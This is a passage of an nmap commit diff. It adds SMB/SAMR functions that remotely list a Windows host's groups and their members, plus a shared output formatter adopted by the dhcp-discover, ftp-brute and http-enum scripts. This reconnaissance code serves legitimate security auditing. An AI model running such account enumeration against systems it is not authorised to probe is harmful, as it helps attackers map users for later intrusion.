1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-07 13:11:28 +00:00

Importing changes from my branch. There are two major updates:

1) I wrote a function that formats output from scripts in a consistent way. Although we haven't really come to a concensus on how it should look yet, it's easy to change when we do. 
2) New script: smb-enum-groups.nse. Enumerate the local groups on a system and their membership.
This commit is contained in:
ron
2009-11-20 16:05:06 +00:00
parent d4756993bd
commit 08da8db7f0
26 changed files with 1599 additions and 1424 deletions

View File

@@ -1326,6 +1326,280 @@ function samr_querydomaininfo2(smbstate, domain_handle, level)
return true, result
end
---Call the <code>EnumDomainAliases</code> function, which retrieves a list of groups for a given domain
--
--@param smbstate The SMB state table
--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
function samr_enumdomainaliases(smbstate, domain_handle)
local i, j
local status, result
local arguments
local pos, align
arguments = ''
-- [in] policy_handle *domain_handle,
arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
-- [in,out,ref] uint32 *resume_handle,
arguments = arguments .. msrpctypes.marshall_int32_ptr(nil)
-- [out,ref] samr_SamArray **sam,
-- [in] uint32 max_size, (note: Wireshark says this is flags. Either way..)
arguments = arguments .. msrpctypes.marshall_int32(0x400)
-- [out,ref] uint32 *num_entries
-- Do the call
status, result = call_function(smbstate, 0x0f, arguments)
if(status ~= true) then
return false, result
end
-- Make arguments easier to use
arguments = result['arguments']
pos = 1
-- [in] policy_handle *domain_handle,
-- [in,out,ref] uint32 *resume_handle,
pos, result['resume_handle'] = msrpctypes.unmarshall_int32(arguments, pos)
-- [out,ref] samr_SamArray **sam,
pos, result['sam'] = msrpctypes.unmarshall_samr_SamArray_ptr(arguments, pos)
-- [in] uint32 max_size,
-- [out,ref] uint32 *num_entries
pos, result['num_entries'] = msrpctypes.unmarshall_int32(arguments, pos)
pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
if(result['return'] == nil) then
return false, "Read off the end of the packet (samr.enumdomainaliases)"
end
if(result['return'] ~= 0) then
return false, smb.get_status_name(result['return']) .. " (samr.enumdomainaliases)"
end
return true, result
end
---Call the <code>EnumDomainAliases</code> function, which retrieves a list of groups for a given domain
--
--@param smbstate The SMB state table
--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
function samr_lookupnames(smbstate, domain_handle, names)
local i, j
local status, result
local arguments
local pos, align
arguments = ''
-- [in,ref] policy_handle *domain_handle,
arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
-- [in,range(0,1000)] uint32 num_names,
arguments = arguments .. msrpctypes.marshall_int32(#names)
-- [in,size_is(1000),length_is(num_names)] lsa_String names[],
arguments = arguments .. msrpctypes.marshall_lsa_String_array2(names)
-- [out,ref] samr_Ids *rids,
-- [out,ref] samr_Ids *types
-- Do the call
status, result = call_function(smbstate, 0x11, arguments)
if(status ~= true) then
return false, result
end
-- Make arguments easier to use
arguments = result['arguments']
pos = 1
-- [in,ref] policy_handle *domain_handle,
-- [in,range(0,1000)] uint32 num_names,
-- [in,size_is(1000),length_is(num_names)] lsa_String names[],
-- [out,ref] samr_Ids *rids,
pos, result['rids'] = msrpctypes.unmarshall_samr_Ids(arguments, pos)
-- [out,ref] samr_Ids *types
pos, result['types'] = msrpctypes.unmarshall_samr_Ids(arguments, pos)
pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
if(result['return'] == nil) then
return false, "Read off the end of the packet (samr.lookupnames)"
end
if(result['return'] == smb.status_codes['NT_STATUS_NONE_MAPPED']) then
return false, "Couldn't find any names the host recognized"
end
if(result['return'] ~= 0 and result['return'] ~= smb.status_codes['NT_STATUS_SOME_NOT_MAPPED']) then
return false, smb.get_status_name(result['return']) .. " (samr.lookupnames)"
end
return true, result
end
---Call the <code>OpenAlias</code> function, which gets a handle to a group.
--
--@param smbstate The SMB state table
--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
--@param rid The RID of the alias
--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
function samr_openalias(smbstate, domain_handle, rid)
local i, j
local status, result
local arguments
local pos, align
arguments = ''
-- [in,ref] policy_handle *domain_handle,
arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
-- [in] samr_AliasAccessMask access_mask,
arguments = arguments .. msrpctypes.marshall_int32(0x0002000c) -- Full read permission
-- [in] uint32 rid,
arguments = arguments .. msrpctypes.marshall_int32(rid)
-- [out,ref] policy_handle *alias_handle
-- Do the call
status, result = call_function(smbstate, 0x1b, arguments)
if(status ~= true) then
return false, result
end
-- Make arguments easier to use
arguments = result['arguments']
pos = 1
-- [in,ref] policy_handle *domain_handle,
-- [in] samr_AliasAccessMask access_mask,
-- [in] uint32 rid,
-- [out,ref] policy_handle *alias_handle
pos, result['alias_handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
if(result['return'] == nil) then
return false, "Read off the end of the packet (samr.openalias)"
end
if(result['return'] ~= 0) then
return false, smb.get_status_name(result['return']) .. " (samr.openalias)"
end
return true, result
end
---Call the <code>GetMembersInAlias</code> function, which retrieves a list of users in
-- a group.
--
--@param smbstate The SMB state table
--@param alias_handle The alias_handle, returned by <code>samr_openalias</code>
--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
function samr_getmembersinalias(smbstate, alias_handle)
local i, j
local status, result
local arguments
local pos, align
arguments = ''
-- [in,ref] policy_handle *alias_handle,
arguments = arguments .. msrpctypes.marshall_policy_handle(alias_handle)
-- [out,ref] lsa_SidArray *sids
-- Do the call
status, result = call_function(smbstate, 0x21, arguments)
if(status ~= true) then
return false, result
end
-- Make arguments easier to use
arguments = result['arguments']
pos = 1
-- [in,ref] policy_handle *alias_handle,
-- [out,ref] lsa_SidArray *sids
pos, result['sids'] = msrpctypes.unmarshall_lsa_SidArray(arguments, pos)
pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
if(result['return'] == nil) then
return false, "Read off the end of the packet (samr.getmembersinalias)"
end
if(result['return'] ~= 0) then
return false, smb.get_status_name(result['return']) .. " (samr.getmembersinalias)"
end
return true, result
end
---Call the <code>LookupRids</code> function, which converts a list of RIDs to
-- names.
--
--NOTE: This doesn't appear to work (it generates a fault, despite the packet being properly formatted).
--if you ever feel like you need this function, check out <code>lsa_lookupsids2</code>.
--
--@param smbstate The SMB state table
--@param domain_handle The domain_handle, returned by <code>samr_opendomain</code>
--@param rids An array of RIDs to look up
--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
--function samr_lookuprids(smbstate, domain_handle, rids)
-- local i, j
-- local status, result
-- local arguments
-- local pos, align
--
-- arguments = ''
--
---- [in,ref] policy_handle *domain_handle,
-- arguments = arguments .. msrpctypes.marshall_policy_handle(domain_handle)
---- [in,range(0,1000)] uint32 num_rids,
-- arguments = arguments .. msrpctypes.marshall_int32(#rids)
---- [in,size_is(1000),length_is(num_rids)] uint32 rids[],
-- arguments = arguments .. msrpctypes.marshall_int32_array(rids)
---- [out,ref] lsa_Strings *names,
---- [out,ref] samr_Ids *types
--
--
-- -- Do the call
-- status, result = call_function(smbstate, 0x12, arguments)
-- if(status ~= true) then
-- return false, result
-- end
--
-- -- Make arguments easier to use
-- arguments = result['arguments']
-- pos = 1
--
---- [in,ref] policy_handle *domain_handle,
---- [in,range(0,1000)] uint32 num_rids,
---- [in,size_is(1000),length_is(num_rids)] uint32 rids[],
---- [out,ref] lsa_Strings *names,
---- [out,ref] samr_Ids *types
--
--
-- pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
--stdnse.print_debug("Return = %08x\n", result['return'])
-- if(result['return'] == nil) then
-- return false, "Read off the end of the packet (samr.getmembersinalias)"
-- end
-- if(result['return'] ~= 0) then
-- return false, smb.get_status_name(result['return']) .. " (samr.getmembersinalias)"
-- end
--
-- return true, result
--end
---Call the <code>close</code> function, which closes a handle of any type (for example, domain_handle or connect_handle)
--@param smbstate The SMB state table
--@param handle The handle to close
@@ -2807,8 +3081,6 @@ end
function samr_enum_users(host)
local i, j
stdnse.print_debug(3, "Entering enum_samr()")
local smbstate
local bind_result, connect4_result, enumdomains_result
local connect_handle
@@ -2929,11 +3201,199 @@ function samr_enum_users(host)
-- Stop the SAMR SMB
stop_smb(smbstate)
stdnse.print_debug(3, "Leaving enum_samr()")
return true, response
end
function samr_enum_groups(host)
local i, j
stdnse.print_debug(1, "MSRPC: Attempting to enumerate groups on %s", host.ip)
-- Create the SMB session
local status, smbstate = start_smb(host, SAMR_PATH, true)
if(status == false) then
return false, smbstate
end
-- Bind to SAMR service
local status, bind_result = bind(smbstate, SAMR_UUID, SAMR_VERSION, nil)
if(status == false) then
stop_smb(smbstate)
return false, bind_result
end
-- Call connect4()
local status, connect4_result = samr_connect4(smbstate, host.ip)
if(status == false) then
stop_smb(smbstate)
return false, connect4_result
end
-- Save the connect_handle
local connect_handle = connect4_result['connect_handle']
-- Call EnumDomains()
local status, enumdomains_result = samr_enumdomains(smbstate, connect_handle)
if(status == false) then
stop_smb(smbstate)
return false, enumdomains_result
end
-- If no domains were returned, go back with an error
if(#enumdomains_result['sam']['entries'] == 0) then
stop_smb(smbstate)
return false, "Couldn't find any domains"
end
-- Now, loop through the domains and find the groups
local domains = {}
for _, domain in ipairs(enumdomains_result['sam']['entries']) do
-- Get a handy domain name
domain = domain['name']
domains[domain] = {}
-- Call LookupDomain()
local status, lookupdomain_result = samr_lookupdomain(smbstate, connect_handle, domain)
if(status == false) then
stop_smb(smbstate)
return false, lookupdomain_result
end
-- Save the sid
local domain_sid = lookupdomain_result['sid']
-- Call OpenDomain()
local status, opendomain_result = samr_opendomain(smbstate, connect_handle, domain_sid)
if(status == false) then
stop_smb(smbstate)
return false, opendomain_result
end
-- Save the domain handle
local domain_handle = opendomain_result['domain_handle']
-- Get a list of groups
local status, enumaliases_result = samr_enumdomainaliases(smbstate, domain_handle)
if(status == false) then
stop_smb(smbstate)
return false, "Couldn't enumerate groups: " .. enumaliases_result
end
-- Print some output
stdnse.print_debug(1, "MSRPC: Found %d groups in %s", #enumaliases_result['sam']['entries'], domain)
-- Record the results
local group_rids = {}
for _, group in ipairs(enumaliases_result['sam']['entries']) do
-- The RID
local group_rid = group['idx']
-- Keep a list of just RIDs, for easier lookup after
table.insert(group_rids, group_rid)
-- Save the output, this is what will be returned
domains[domain][group_rid] = {}
domains[domain][group_rid]['name'] = group['name']
end -- Loop over group entries
for _, group_rid in ipairs(group_rids) do
-- Get a handle to the alias
local status, openalias_result = samr_openalias(smbstate, domain_handle, group_rid)
if(not(status)) then
stop_smb(smbstate)
return false, "Couldn't open handle to group: " .. openalias_result
end
local group_handle = openalias_result['alias_handle']
-- Get the members of the group
local status, getmembers_result = samr_getmembersinalias(smbstate, group_handle)
if(not(status)) then
stop_smb(smbstate)
return false, "Couldn't get members in group: " .. getmembers_result
end
-- Save the SIDs
local member_sids = {}
if(getmembers_result and getmembers_result.sids and getmembers_result.sids.sids) then
-- Set the list of member_sids
member_sids = getmembers_result.sids.sids
end
-- Print some output
stdnse.print_debug(1, "MSRPC: Adding group '%s' (RID: %d) with %d members", domains[domain][group_rid]['name'], group_rid, #member_sids)
-- Save the output
domains[domain][group_rid]['member_sids'] = member_sids
-- Close the group
samr_close(smbstate, group_handle)
end -- Loop over group RIDs
-- Close the domain handle
samr_close(smbstate, domain_handle)
end -- Domain loop
-- Close the connect handle
samr_close(smbstate, connect_handle)
-- Stop the SAMR SMB
stop_smb(smbstate)
-- Now, we need a handle to LSA (in order to convert the RIDs to users
-- Create the SMB session
local status, smbstate = start_smb(host, LSA_PATH, true)
if(status == false) then
return false, smbstate
end
-- Bind to LSA service
local status, bind_result = bind(smbstate, LSA_UUID, LSA_VERSION, nil)
if(status == false) then
stop_smb(smbstate)
return false, bind_result
end
-- Open the LSA policy
local status, openpolicy2_result = lsa_openpolicy2(smbstate, host.ip)
if(status == false) then
stop_smb(smbstate)
return false, openpolicy2_result
end
-- Loop through the domains
for domain, domain_data in pairs(domains) do
for group_rid, group in pairs(domain_data) do
-- Look up the SIDs
local status, lookupsids2_result = lsa_lookupsids2(smbstate, openpolicy2_result['policy_handle'], group['member_sids'])
if(status == false) then
stop_smb(smbstate)
return false, "Error looking up RIDs: " .. lookupsids2_result
end
if(lookupsids2_result and lookupsids2_result.names and lookupsids2_result.names.names and (#lookupsids2_result.names.names > 0)) then
local members = {}
for _, resolved_name in ipairs(lookupsids2_result.names.names) do
if(resolved_name.sid_type == "SID_NAME_USER") then
table.insert(members, resolved_name.name)
end
end
domains[domain][group_rid]['members'] = members
else
domains[domain][group_rid]['members'] = {}
end
end
end
-- Close the handle
lsa_close(smbstate, openpolicy2_result['policy_handle'])
stop_smb(smbstate)
return true, domains
end
---Attempt to enumerate users using LSA functions.
--
--@param host The host object.
@@ -2950,8 +3410,6 @@ function lsa_enum_users(host)
local response = {}
local status, smbstate, bind_result, openpolicy2_result, lookupnames2_result, lookupsids2_result
stdnse.print_debug(3, "Entering enum_lsa()")
-- Create the SMB session
status, smbstate = start_smb(host, LSA_PATH, true)
if(status == false) then
@@ -3019,7 +3477,7 @@ function lsa_enum_users(host)
-- Put the details for each name into an array
-- NOTE: Be sure to mirror any changes here in the next bit!
for j = 1, #lookupsids2_result['names']['names'], 1 do
if(lookupsids2_result['names']['names'][j]['sid_type'] ~= "SID_NAME_UNKNOWN") then
if(lookupsids2_result['names']['names'][j]['sid_type'] == "SID_NAME_USER") then
local result = {}
result['name'] = lookupsids2_result['names']['names'][j]['name']
result['rid'] = 500 + j - 1
@@ -3061,7 +3519,7 @@ function lsa_enum_users(host)
-- Check if the username matches the rid (one server we discovered returned every user as valid,
-- this is to prevent that infinite loop)
if(tonumber(name) ~= rid) then
if(lookupsids2_result['names']['names'][j]['sid_type'] ~= "SID_NAME_UNKNOWN") then
if(lookupsids2_result['names']['names'][j]['sid_type'] == "SID_NAME_USER") then
local result = {}
result['name'] = name
result['rid'] = rid
@@ -3096,8 +3554,6 @@ function lsa_enum_users(host)
stop_smb(smbstate)
stdnse.print_debug(3, "Leaving enum_lsa()")
return true, response
end

View File

@@ -744,6 +744,24 @@ function marshall_int32(int32)
return result
end
---Marshall an array of int32 values.
--
--@param data The array
--@return A string representing the marshalled data
function marshall_int32_array(data)
local result = ""
result = result .. marshall_int32(0x0400) -- Max count
result = result .. marshall_int32(0) -- Offset
result = result .. marshall_int32(#data) -- Actual count
for _, v in ipairs(data) do
result = result .. marshall_int32(v)
end
return result
end
--- Marshall an int16, which has the following format:
-- <code> [in] uint16 var</code>
--
@@ -816,12 +834,10 @@ end
function unmarshall_int32(data, pos)
local value
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_int32()"))
pos, value = bin.unpack("<I", data, pos)
if(value == nil) then
stdnse.print_debug(1, "MSRPC: ERROR: Ran off the end of a packet in unmarshall_int32(). Please report!")
end
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_int32()"))
return pos, value
end
@@ -1082,6 +1098,38 @@ function unmarshall_int8_array_ptr(data, pos, pad)
return pos, str
end
--- Unmarshall an array of int32s.
--
--@param data The data packet.
--@param pos The position within the data.
--@return (pos, str) The position, and the resulting string, which cannot be nil.
function unmarshall_int32_array(data, pos, count)
local maxcount
local result = {}
pos, maxcount = unmarshall_int32(data, pos)
for i = 1, count, 1 do
pos, result[i] = unmarshall_int32(data, pos)
end
return pos, result
end
--- Unmarshall a pointer to an array of int32s.
--
--@param data The data packet.
--@param pos The position within the data.
--@return (pos, str) The position, and the resulting string, which cannot be nil.
function unmarshall_int32_array_ptr(data, pos)
local count, array
pos, count = unmarshall_int32(data, pos)
pos, array = unmarshall_ptr(ALL, data, pos, unmarshall_int32_array, {count})
return pos, array
end
---Marshalls an NTTIME. This is sent as the number of 1/10 microseconds since 1601; however
-- the internal representation is the number of seconds since 1970. Because doing conversions
-- in code is annoying, the user will never have to understand anything besides seconds since
@@ -1462,7 +1510,6 @@ end
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
function unmarshall_dom_sid2(data, pos)
local i
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_dom_sid2()"))
-- Read the SID from the packet
local sid = {}
@@ -1488,7 +1535,6 @@ function unmarshall_dom_sid2(data, pos)
result = result .. string.format("-%u", sid['sub_auths'][i])
end
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_dom_sid2()"))
return pos, result
end
@@ -1499,13 +1545,7 @@ end
--@param pos The position within <code>data</code>.
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
function unmarshall_dom_sid2_ptr(data, pos)
local result
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_dom_sid2_ptr()"))
pos, result = unmarshall_ptr(ALL, data, pos, unmarshall_dom_sid2, {})
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_dom_sid2_ptr()"))
return pos, result
return unmarshall_ptr(ALL, data, pos, unmarshall_dom_sid2, {})
end
---Marshall a struct with the following definition:
@@ -1601,8 +1641,9 @@ end
--@param str The string to marshall
--@param max_length [optional] The maximum size of the buffer, in characters, including the null terminator.
-- Defaults to the length of the string, including the null.
--@param do_null [optional] Appends a null to the end of the string. Default false.
--@return A string representing the marshalled data.
local function marshall_lsa_String_internal(location, str, max_length)
local function marshall_lsa_String_internal(location, str, max_length, do_null)
local length
local result = ""
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_String_internal()"))
@@ -1622,12 +1663,16 @@ local function marshall_lsa_String_internal(location, str, max_length)
length = string.len(str)
end
if(do_null == nil) then
do_null = false
end
if(location == HEAD or location == ALL) then
result = result .. bin.pack("<SSA", length * 2, max_length * 2, marshall_ptr(HEAD, marshall_unicode, {str, false, max_length}, str))
result = result .. bin.pack("<SSA", length * 2, max_length * 2, marshall_ptr(HEAD, marshall_unicode, {str, do_null, max_length}, str))
end
if(location == BODY or location == ALL) then
result = result .. bin.pack("<A", marshall_ptr(BODY, marshall_unicode, {str, false, max_length}, str))
result = result .. bin.pack("<A", marshall_ptr(BODY, marshall_unicode, {str, do_null, max_length}, str))
end
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_lsa_String_internal()"))
@@ -1706,6 +1751,29 @@ function marshall_lsa_String_array(strings)
return result
end
---Basically the same as <code>marshall_lsa_String_array</code>, except it has a different structure
--
--@param strings The array of strings to marshall
function marshall_lsa_String_array2(strings)
local array = {}
local result
for i = 1, #strings, 1 do
array[i] = {}
array[i]['func'] = marshall_lsa_String_internal
array[i]['args'] = {strings[i], nil, nil, false}
end
result = marshall_int32(1000) -- Max length
result = result .. marshall_int32(0) -- Offset
result = result .. marshall_array(array)
--require 'nsedebug'
--nsedebug.print_hex(result)
--os.exit()
return result
end
---Table of SID types.
local lsa_SidType =
{
@@ -1913,7 +1981,6 @@ end
-- anything.
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
local function unmarshall_lsa_TranslatedSid2(location, data, pos, result)
stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_lsa_TranslatedSid2()"))
if(result == nil) then
result = {}
end
@@ -1929,7 +1996,6 @@ local function unmarshall_lsa_TranslatedSid2(location, data, pos, result)
if(location == BODY or location == ALL) then
end
stdnse.print_debug(4, string.format("MSRPC: Leaving unmarshall_lsa_TranslatedSid2()"))
return pos, result
end
@@ -2289,7 +2355,6 @@ end
function marshall_lsa_SidArray(sids)
local result = ""
local array = {}
stdnse.print_debug(4, string.format("MSRPC: Entering marshall_lsa_SidArray()"))
result = result .. marshall_int32(#sids)
@@ -2301,10 +2366,47 @@ function marshall_lsa_SidArray(sids)
result = result .. marshall_ptr(ALL, marshall_array, {array}, array)
stdnse.print_debug(4, string.format("MSRPC: Leaving marshall_lsa_SidArray()"))
return result
end
---Unmarshall a struct with the following definition:
-- typedef struct {
-- dom_sid2 *sid;
-- } lsa_SidPtr;
--
--@param location The part of the pointer wanted, either HEAD (for the data itself), BODY
-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the
-- referent_id is split from the data (for example, in an array), you will want
-- ALL.
--@param data The data being processed.
--@param pos The position within <code>data</code>.
--@param result This is required when unmarshalling the BODY section, which always comes after
-- unmarshalling the HEAD. It is the result returned for this parameter during the
-- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall
-- anything.
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
function unmarshall_lsa_SidPtr(location, data, pos, result)
return unmarshall_ptr(location, data, pos, unmarshall_dom_sid2, {}, result)
end
---Unmarshall a struct with the following definition:
--
-- typedef [public] struct {
-- [range(0,1000)] uint32 num_sids;
-- [size_is(num_sids)] lsa_SidPtr *sids;
-- } lsa_SidArray;
--
--@param data The data being processed.
--@param pos The position within <code>data</code>.
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype.
function unmarshall_lsa_SidArray(data, pos)
local sidarray = {}
pos, sidarray['count'] = unmarshall_int32(data, pos)
pos, sidarray['sids'] = unmarshall_ptr(ALL, data, pos, unmarshall_array, {sidarray['count'], unmarshall_lsa_SidPtr, {}})
return pos, sidarray
end
---Marshall a struct with the following definition:
--
@@ -4140,6 +4242,26 @@ function unmarshall_samr_DomainInfo_ptr(data, pos)
return pos, result
end
---Unmarshall a structure with the following definition:
--
--<code>
-- typedef struct {
-- [range(0,1024)] uint32 count;
-- [size_is(count)] uint32 *ids;
-- } samr_Ids;
--</code>
--
--@param data The data being processed.
--@param pos The position within <code>data</code>.
--@return (pos, result) The new position in <code>data</code>, and a table representing the datatype. May return
-- <code>nil</code> if there was an error.
function unmarshall_samr_Ids(data, pos)
local array
pos, array = unmarshall_int32_array_ptr(data, pos)
return pos, array
end
----------------------------------
-- SVCCTL
@@ -4490,9 +4612,7 @@ function marshall_atsvc_JobInfo(command, time)
result = result .. marshall_int32(time) -- Job time
result = result .. marshall_int32(0) -- Day of month
result = result .. marshall_int8(0, false) -- Day of week
--io.write("Length = " .. #result .. "\n")
result = result .. marshall_atsvc_Flags("JOB_NONINTERACTIVE") -- Flags
--io.write("Length = " .. #result .. "\n")
result = result .. marshall_int16(0, false) -- Padding
result = result .. marshall_unicode_ptr(command, true) -- Command

View File

@@ -7,13 +7,16 @@
local assert = assert;
local error = error;
local pairs = pairs
local ipairs = ipairs
local tonumber = tonumber;
local type = type
local ceil = math.ceil
local max = math.max
local format = string.format;
local rep = string.rep
local concat = table.concat;
local insert = table.insert;
local nmap = require "nmap";
@@ -259,6 +262,148 @@ function string_or_blank(string, blank)
end
end
---Get the indentation symbols at a given level.
local function format_get_indent(indent, at_end)
local str = ""
local had_continue = false
if(not(at_end)) then
str = rep('| ', #indent)
else
for i = #indent, 1, -1 do
if(indent[i] and not(had_continue)) then
str = str .. "|_ "
else
had_continue = true
str = str .. "| "
end
end
end
return str
end
---Takes a table of output on the commandline and formats it for display to the
-- user. This is basically done by converting an array of nested tables into a
-- string. In addition to numbered array elements, each table can have a 'name'
-- and a 'warning' value. The 'name' will be displayed above the table, and
-- 'warning' will be displayed, with a 'WARNING' tag, if and only if debugging
-- is enabled.
--
-- Here's an example of a table:
-- <code>
-- local domains = {}
-- domains['name'] = "DOMAINS"
-- table.insert(domains, 'Domain 1')
-- table.insert(domains, 'Domain 2')
--
-- local names = {}
-- names['name'] = "NAMES"
-- names['warning'] = "Not all names could be determined!"
-- table.insert(names, "Name 1")
--
-- local response = {}
-- table.insert(response, "Apple pie")
-- table.insert(response, domains)
-- table.insert(response, names)
--
-- return stdnse.format_output(true, response)
-- </code>
--
-- With debugging enabled, this is the output:
-- <code>
-- Host script results:
-- | smb-enum-domains:
-- | | Apple pie
-- | | DOMAINS
-- | | | Domain 1
-- | | |_ Domain 2
-- | | NAMES (WARNING: Not all names could be determined!)
-- |_ |_ |_ Name 1
-- </code>
--
--@param status A boolean value dictating whether or not the script succeeded.
-- If status is false, and debugging is enabled, 'ERROR' is prepended
-- to every line. If status is false and ebugging is disabled, no output
-- occurs.
--@param data The table of output.
--@param indent Used for indentation on recursive calls; should generally be set to
-- nil when callling from a script.
function format_output(status, data, indent)
-- Don't bother if we don't have any data
if(#data == 0) then
return ""
end
-- Return a single line of output as-is
if(#data == 1 and not(data['name']) and not(data['warning'])) then
return data[1]
end
-- If data is nil, die with an error (I keep doing that by accident)
assert(data, "No data was passed to format_output()")
-- Used to put 'ERROR: ' in front of all lines on error messages
local prefix = ""
-- Initialize the output string to blank (or, if we're at the top, add a newline)
local output = ""
if(not(indent)) then
output = ' \n'
end
if(not(status)) then
if(nmap.debugging() < 1) then
return nil
end
prefix = "ERROR: "
end
-- If a string was passed, turn it into a table
if(type(data) == 'string') then
data = {data}
end
-- Make sure we have an indent value
indent = indent or {}
for i, value in ipairs(data) do
if(type(value) == 'table') then
if(value['name']) then
if(value['warning'] and nmap.debugging() > 0) then
output = output .. format("%s| %s%s (WARNING: %s)\n", format_get_indent(indent), prefix, value['name'], value['warning'])
else
output = output .. format("%s| %s%s\n", format_get_indent(indent), prefix, value['name'])
end
elseif(value['warning'] and nmap.debugging() > 0) then
output = output .. format("%s| %s(WARNING: %s)\n", format_get_indent(indent), prefix, value['warning'])
end
-- Do a shallow copy of indent
local new_indent = {}
for _, v in ipairs(indent) do
insert(new_indent, v)
end
if(i ~= #data) then
insert(new_indent, false)
else
insert(new_indent, true)
end
output = output .. format_output(status, value, new_indent)
elseif(type(value) == 'string') then
if(i ~= #data) then
output = output .. format("%s| %s%s\n", format_get_indent(indent, false), prefix, value)
else
output = output .. format("%s|_ %s%s\n", format_get_indent(indent, true), prefix, value)
end
end
end
return output
end
--- This function allows you to create worker threads that may perform
-- network tasks in parallel with your script thread.
--

View File

@@ -35,14 +35,14 @@ and <code>dhcp_parse</code>, with their related functions, can easily be abstrac
-- Interesting ports on 192.168.1.1:
-- PORT STATE SERVICE
-- 67/udp open dhcps
-- | dhcp-discover:
-- | IP Offered: 192.168.1.100
-- | DHCP Message Type: DHCPOFFER
-- | Server Identifier: 192.168.1.1
-- | IP Address Lease Time: 1 day, 0:00:00
-- | Subnet Mask: 255.255.255.0
-- | Router: 192.168.1.1
-- |_ Domain Name Server: 208.81.7.10, 208.81.7.14
-- | dhcp-discover:
-- | | IP Offered: 192.168.1.101
-- | | DHCP Message Type: DHCPOFFER
-- | | Server Identifier: 192.168.1.1
-- | | IP Address Lease Time: 1 day, 0:00:00
-- | | Subnet Mask: 255.255.255.0
-- | | Router: 192.168.1.1
-- |_ |_ Domain Name Server: 208.81.7.10, 208.81.7.14
--
--
--@args dhcptype The type of DHCP request to make. By default, DHCPDISCOVER is sent, but this argument
@@ -710,11 +710,7 @@ action = function(host, port)
local status, results = go(host, port)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. results
else
return nil
end
return stdnse.format_output(false, results)
end
if(results == nil) then
@@ -724,25 +720,25 @@ action = function(host, port)
-- Set the port state to open
nmap.set_port_state(host, port, "open")
local response = " \n"
local response = {}
-- Display the results
for i, result in ipairs(results) do
if(#results ~= 1) then
response = response .. string.format("Result %d\n", i)
table.insert(response, string.format("Result %d", i))
end
response = response .. string.format(" IP Offered: %s\n", result.yiaddr_str)
table.insert(response, string.format("IP Offered: %s", result.yiaddr_str))
for _, v in ipairs(result.options) do
if(type(v['value']) == 'table') then
response = response .. string.format(" %s: %s\n", v['name'], stdnse.strjoin(", ", v['value']))
table.insert(response, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
else
response = response .. string.format(" %s: %s\n", v['name'], v['value'])
table.insert(response, string.format("%s: %s\n", v['name'], v['value']))
end
end
end
return response
return stdnse.format_output(true, response)
end

View File

@@ -17,8 +17,8 @@ Made into an actual bruteforce script (previously, it only tried one username/pa
-- PORT STATE SERVICE REASON
-- 21/tcp open ftp syn-ack
-- | ftp-brute:
-- | anonymous: IEUser@
-- |_ test: password
-- | | anonymous: IEUser@
-- |_ |_ test: password
--
-- @args userlimit The number of user accounts to try (default: unlimited).
-- @args passlimit The number of passwords to try (default: unlimited).
@@ -186,25 +186,21 @@ local function go(host, port)
end
action = function(host, port)
local response = {}
local status, results = go(host, port)
if(not(status)) then
if(nmap.debugging() > 0) then
return "ERROR: " .. results
else
return nil
end
return stdnse.format_output(false, results)
end
if(#results == 0) then
return "No accounts found"
return stdnse.format_output(false, "No accounts found")
end
local response = " \n"
for i, v in ipairs(results) do
response = response .. string.format("%s: %s\n", v.user, v.password)
table.insert(response, string.format("%s: %s\n", v.user, v.password))
end
return response
return stdnse.format_output(true, response)
end

View File

@@ -26,9 +26,14 @@ for 404 Not Found and the status code returned by the random files).
-- Interesting ports on test.skullsecurity.org (208.81.2.52):
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-enum:
-- | /icons/ Icons and images
-- |_ /x_logo.gif Xerox Phaser Printer
-- | http-enum:
-- | | /icons/: Icons and images
-- | | /images/: Icons and images
-- | | /robots.txt: Robots file
-- | | /sw/auth/login.aspx: Citrix WebTop
-- | | /images/outlook.jpg: Outlook Web Access
-- | | /nfservlets/servlet/SPSRouterServlet/: netForensics
-- |_ |_ /nfservlets/servlet/SPSRouterServlet/: netForensics
--
--
--@args displayall Set to '1' or 'true' to display all status codes that may indicate a valid page, not just
@@ -223,7 +228,7 @@ end
action = function(host, port)
local response = " \n"
local response = {}
-- Add URLs from external files
local URLs = get_fingerprints()
@@ -231,11 +236,7 @@ action = function(host, port)
-- Check what response we get for a 404
local result, result_404, known_404 = http.identify_404(host, port)
if(result == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result_404
else
return nil
end
return stdnse.format_output(false, result_404)
end
-- Check if we can use HEAD requests
@@ -245,11 +246,7 @@ action = function(host, port)
if(use_head == false) then
